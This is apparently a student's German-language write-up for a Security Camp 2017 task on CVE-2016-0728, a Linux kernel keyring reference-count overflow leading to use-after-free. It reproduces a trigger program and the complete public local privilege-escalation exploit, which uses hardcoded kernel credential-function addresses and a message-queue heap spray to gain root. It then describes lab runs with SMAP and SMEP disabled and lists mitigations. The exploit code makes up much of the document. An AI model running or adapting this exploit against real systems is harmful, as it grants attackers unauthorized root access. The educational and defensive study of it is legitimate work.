
cve-2016-0728 Exploit und Zusammenfassung
Seccamp 2017 Aufgabe
Das folgende Programm nutzt eine Schwachstelle im Linux-Kernel 3.8 bis 4.4 aus. Beschreiben Sie die Fehlfunktion, die durch die Ausführung dieses Programms verursacht wird. Beschreiben Sie außerdem einen Exploit, der diese Schwachstelle weiter ausnutzt, um eine Root-Privilegieneskalation durchzuführen, und erläutern Sie Ihre Testumgebung und die von Ihnen angewandten Tricks. Nennen Sie so viele Maßnahmen zur Eindämmung solcher Angriffe wie möglich und erläutern Sie diese. Es ist in Ordnung, wenn Sie nicht alles vollständig verstehen. Beschreiben Sie in Ihren eigenen Worten, was Sie bisher verstanden haben, den Ablauf Ihrer Experimente und Ihre Eindrücke. Geben Sie außerdem die von Ihnen verwendeten Quellen und Literatur an.
#include <stddef.h>
#include <stdio.h>
#include <sys/types.h>
#include <keyutils.h>
int main(int argc, const char *argv[])
{
int i = 0;
key_serial_t serial;
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
perror("keyctl");
return -1;
}
for (i = 0; i < 100; i++) {
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
perror("keyctl");
return -1;
}
}
return 0;
}
Die Testumgebung ist wie folgt:
$ uname -r
3.19.0-80-generic
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.5 LTS
Release: 14.04
Codename: trusty
Ich habe diese Schwachstelle zum ersten Mal kennengelernt. Ich beschreibe, was ich bei der Recherche herausgefunden habe und was ich dabei ausprobiert habe. Zuerst erkläre ich den in diesem Programm verwendeten Schlüsselspeicherdienst, dann die von diesem Programm ausgenutzte Use-After-Free-Schwachstelle und deren Ursache im Programm, und schließlich die daraus resultierenden Fehlfunktionen. Diese Schwachstelle ist als CVE-2016-0728 registriert. Für einen Überblick habe ich die folgende Seite verwendet:
Da ich den Schlüsselspeicherdienst von Linux ebenfalls zum ersten Mal kannte, habe ich die IBM-Webseite zur Einführung in den Linux-Schlüsselspeicherdienst
https://www.ibm.com/developerworks/jp/linux/library/l-key-retention.html
und den Quellcode des Linux-Kernels 3.19 (meine Testumgebung)
verwendet. Zum Senden von Kernel-Meldungen an das Host-Betriebssystem über das Netzwerk habe ich DEBUG HACKS – Techniken und Werkzeuge zum Meistern des Debuggens (O'REILLY) verwendet.
Dieses Programm (im Folgenden leak.c genannt) nutzt einen Fehler im Linux-Schlüsselspeicherdienst aus, der zu einer Use-After-Free-Schwachstelle führt. Eine Use-After-Free-Schwachstelle ermöglicht die Ausführung beliebigen Codes, wenn aufgrund einer Inkonsistenz des Programms auf eine bereits freigegebene Heap-Speicheradresse zugegriffen wird. Zunächst erkläre ich den von diesem Programm verwendeten Systemaufruf keyctl() und beschreibe den darin enthaltenen Fehler.
Jeder Prozess kann mit dem Systemaufruf keyctl(KEYCTL_JOIN_SESSION_KEYRING, name) einen prozesseigenen Schlüsselbund für die aktuelle Sitzung erstellen. Dieser Schlüsselbund kann zwischen Prozessen gemeinsam genutzt werden, indem auf den Namen name verwiesen wird. Wenn ein Prozess bereits einen Sitzungsschlüsselbund besitzt, ersetzt dieser Systemaufruf den Sitzungsschlüsselbund durch einen neuen. Um diese Funktionsweise besser zu verstehen, habe ich die Funktion join_session_keyring in /security/keys/process_keys.c des Kernel-Quellcodes untersucht. Sie sieht wie folgt aus. Beim Ersetzen des Sitzungsschlüsselbunds durch einen neuen wird die Funktion key_put übersprungen. key_put ist eine Funktion, die die Referenz auf den als Argument übergebenen Schlüsselbund freigibt. Durch das Überspringen bleibt eine Referenz auf den neuen Schlüsselbund bestehen, was zur Use-After-Free-Schwachstelle führt.
Wenn dieser Schlüsselbund zwischen Prozessen gemeinsam genutzt wird, erhöht sich die interne Referenzanzahl, die im Member usage der Struktur key gespeichert ist. Das Member usage ist vom Typ atomic_t, was tatsächlich als typedef einer Struktur mit einer einzigen int-Variablen definiert ist. Da es keinen Mechanismus gibt, um einen Überlauf dieses Members zu verhindern, kann die Referenzanzahl durch wiederholtes Erhöhen bis zum Überlauf auf 0 gebracht werden. Wenn usage 0 erreicht, wird der Schlüsselbund durch die interne Garbage Collection des Schlüsselbund-Subsystems freigegeben. Indem ein Kernel-Modul, das beliebige Operationen ausführt, aus dem Benutzerraum in diesen freigegebenen Bereich platziert wird, kann diese Operation mit Kernel-Berechtigungen ausgeführt werden.
Auf der referenzierten Website wird gezeigt, dass nach dem Kompilieren und Ausführen von leak.c mit der Bibliothek keyutils in /proc/keys ein Sitzungsschlüsselbund namens leaked-key registriert wird, auf den 100 Mal zugegriffen wurde. Es wurde überprüft, dass leaked-keyring vor und nach der Ausführung dieses Programms wie folgt angezeigt wird:
# Vor der Ausführung
$ cat /proc/keys
$ ./leak
# Nach der Ausführung
$ cat /proc/keys
0fd435e9 I--Q--- 100 perm 3f3f0000 1000 1000 keyring leaked-keyring: empty
In meiner Testumgebung wurde leaked-keyring jedoch nicht angezeigt. Als ich versuchsweise die Bedingung der for-Schleife auf einen großen Wert wie i < 0x1000000 änderte, wurde leaked-keyring während der Programmausführung angezeigt. In diesem Fall wird der Angriff ermöglicht, indem man das Member usage zum Überlauf bringt, den Schlüssel freigibt und ein neues Kernel-Objekt dort platziert. Also habe ich beschlossen, es auszuprobieren. Den Exploit-Code habe ich von der folgenden Seite übernommen:
https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81091cc0)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81091fc0)
struct key_type {
char * name;
size_t datalen;
void * vet_description;
void * preparse;
void * free_preparse;
void * instantiate;
void * update;
void * match_preparse;
void * match_free;
void * revoke;
void * destroy;
};
void userspace_revoke(void * key) {
commit_creds(prepare_kernel_cred(0));
}
int main(int argc, const char *argv[]) {
const char *keyring_name;
size_t i = 0;
unsigned long int l = 0x100000000/2;
key_serial_t serial = -1;
pid_t pid = -1;
struct key_type * my_key_type = NULL;
struct { long mtype;
char mtext[STRUCT_LEN];
} msg = {0x4141414141414141, {0}};
int msqid;
if (argc != 2) {
puts("usage: ./keys <key_name>");
return 1;
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
my_key_type = malloc(sizeof(*my_key_type));
my_key_type->revoke = (void*)userspace_revoke;
memset(msg.mtext, 'A', sizeof(msg.mtext));
// key->uid
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
//key->perm
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
//key->type
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
keyring_name = argv[1];
/* Set the new session keyring before we start */
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
perror("keyctl");
return -1;
}
puts("Increfing...");
for (i = 1; i < 0xfffffffd; i++) {
if (i == (0xffffffff - l)) {
l = l/2;
sleep(5);
}
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
sleep(5);
/* here we are going to leak the last references to overflow */
for (i=0; i<5; ++i) {
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
puts("finished increfing");
puts("forking...");
/* allocate msg struct in the kernel rewriting the freed keyring object */
for (i=0; i<64; i++) {
pid = fork();
if (pid == -1) {
perror("fork");
return -1;
}
if (pid == 0) {
sleep(2);
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
for (i = 0; i < 64; i++) {
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
perror("msgsnd");
exit(1);
}
}
sleep(-1);
exit(1);
}
}
puts("finished forking");
sleep(5);
/* call userspace_revoke from kernel */
puts("caling revoke...");
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
perror("keyctl_revoke");
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
execl("/bin/sh", "/bin/sh", NULL);
return 0;
}
Bei der Ausführung änderte sich die Berechtigung nicht und die Shell wurde mit den Berechtigungen des ausführenden Benutzers gestartet. Mein erster Gedanke war, dass meine Umgebung möglicherweise aktualisiert wurde und der Patch bereits angewendet war. Diese Schwachstelle wurde um Januar 2016 veröffentlicht, und ich hatte meine Umgebung bis dahin aktualisiert. Also versuchte ich es in einer neuen virtuellen Umgebung (Kernel 3.18.52) mit geänderten Konstanten, aber es funktionierte nicht. Es gab auch Berichte, dass der Exploit nicht funktioniert, wenn Speicherschutzmechanismen wie SMAP und SMEP aktiv sind. SMEP verbietet die Ausführung von Code im Benutzeradressraum im Kernel-Modus, SMAP verbietet den Zugriff auf den Benutzeradressraum im Kernel-Modus. In den Kommentaren zu gist gab es Code, der von mehreren Personen überprüft wurde und angab, dass unter Kernel 3.18.25 die uid auf 0 gesetzt werden konnte, aber die VM einfror. Das habe ich ausprobiert. Der Link ist hier (https://gist.github.com/hal0taso/47e9a1820d109bb7739321189f1c8830). Ich habe den Kernel (3.18.25) gebaut und gegen eine Umgebung getestet, in der sowohl SMAP als auch SMEP deaktiviert waren. Die Testumgebung war wie folgt. SMAP wurde beim Bau durch .config deaktiviert, SMEP wurde in der Grub-Konfigurationsdatei (/boot/grub/grub.cfg) deaktiviert.
$ uname -r
3.18.25
Nachdem ich leak in dieser Umgebung ausgeführt hatte, sah /proc/keys wie folgt aus:
$ cat /proc/keys
17990f68 I--Q--- 1 perm 1f3f0000 1000 65534 keyring _uid.1000: empty
3c04e61c I--Q--- 14 perm 3f030000 1000 1000 keyring _ses: 1
$ ./leak
$ cat /proc/keys
08054473 I--Q--- 100 perm 3f3f0000 1000 1000 keyring leaked-keyring: empty
17990f68 I--Q--- 1 perm 1f3f0000 1000 65534 keyring _uid.1000: empty
3c04e61c I--Q--- 14 perm 3f030000 1000 1000 keyring _ses: 1
Das Schlüsselbundobjekt konnte wie auf der referenzierten Website bestätigt werden. Als ich den Exploit ausführte, startete auch hier die Shell mit den Berechtigungen des ausführenden Benutzers. Also überwachte ich /proc/keys mit dem Befehl watch in Intervallen von 0,1 Sekunden. Dabei stellte ich fest, dass, wenn das Member usage nicht genau auf 0 gebracht wurde (z. B. wenn der Exploit mit dem Namen eines Schlüsselbunds gestartet wurde, der durch einen vorherigen Abbruch erzeugt wurde, stieg usage nach dem Überlauf wieder an), join_session_keyring ein neues Schlüsselbundobjekt erzeugte. Daher dachte ich, dass der Referenzzähler genau auf 0 eingestellt werden muss, damit das Schlüsselobjekt freigegeben wird. Als der Referenzzähler 0 erreichte, war das Schlüsselbundobjekt tatsächlich nicht mehr sichtbar, was auf eine Freigabe hindeutet. Nach mehrmaligem Hintereinanderausführen konnte ich bestätigen, dass root erlangt wurde (uid=0, euid=0), aber unmittelbar danach ein Kernel-Panic auftrat und die VM einfror.
$ ./exploit PP_KEY
uid = 1000, euid = 1000
[+] increfs...
[+] finish increfs
[+] fork...
exploit...
uid = 0, euid = 0
Killed
Also habe ich Kernel-Meldungen über netconsole an das Host-Betriebssystem übertragen und die Logs gelesen. Ich habe nach den konstanten Adressen wie commit_creds oder kernel_prepare_cred gesucht, aber die entsprechenden Stellen wurden nicht gefunden. Letztendlich konnte ich root erlangen und eine Shell starten.
Aus diesem Grund kann ein Angriff, der diese Schwachstelle ausnutzt, erschwert werden, indem CPU-Kernelschutzmechanismen wie SMAP und SMEP aktiviert werden. Da nach der Veröffentlichung der Schwachstelle die Distributionen Kernel-Updates mit Patches bereitstellen, kann der Angriff durch Anwendung dieser Updates verhindert werden. Während meiner Recherche zu dieser Schwachstelle stellte ich fest, dass beim Ausführen des PoC-Codes im Kernel 3.18.52 bei der Überwachung von /proc/keys das Member usage des Schlüsselbundobjekts wiederholt zu- und abnahm. Daher vermute ich, dass zwischen Kernel 3.18.25 und 3.18.52 entweder der Code für Schlüsselbunde oder die in join_session_keyring verwendete Funktion abort_creds geändert wurde, sodass sich der Mechanismus zur Erhöhung des Referenzzählers (hier usage) geändert hat. Dies liegt daran, dass in der Referenzseite beschrieben wird, dass usage in join_session_keyring zweimal erhöht und verringert wird, wobei abort_creds die Dekrementierung des Referenzzählers asynchron nach einem RCU-Job durchführt.
Als ich mich mit dieser Schwachstelle befasste, war ich überrascht und auch besorgt, dass ein normaler Benutzer seine Rechte auf einen privilegierten Benutzer erhöhen kann. Bei der Überprüfung des Exploit-PoC-Codes und der weiteren Recherche stellte ich jedoch fest, dass der Angreifer nicht nur die Kernel-Version genau bestimmen, sondern auch SMEP und SMAP umgehen muss, falls diese aktiviert sind. Da der Exploit nicht garantiert erfolgreich ist und bei einem Fehlschlag einen Kernel-Panic auslöst, was den Angriff verraten kann, fragte ich mich, ob diese Angriffsmethode tatsächlich nützlich ist.